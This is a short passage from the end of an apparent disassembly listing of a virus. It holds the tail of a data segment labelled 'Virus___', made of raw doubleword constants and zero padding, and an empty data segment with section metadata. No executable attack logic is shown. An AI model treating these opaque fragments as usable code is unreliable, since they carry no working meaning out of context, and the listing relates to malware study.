		dd 0E3645BFEh, 0A35BD1E4h, 2364724Ch, 65BBCF78h, 0A5BA96B4h
		dd 45BA969Fh, 0E35B1866h, 835B18CEh, 33628C6h, 6000h dup(0)
Virus___	ends

; Section 5. (virtual address 001E9000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001E9000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5E9000h
		align 2000h
_idata2		ends


		end start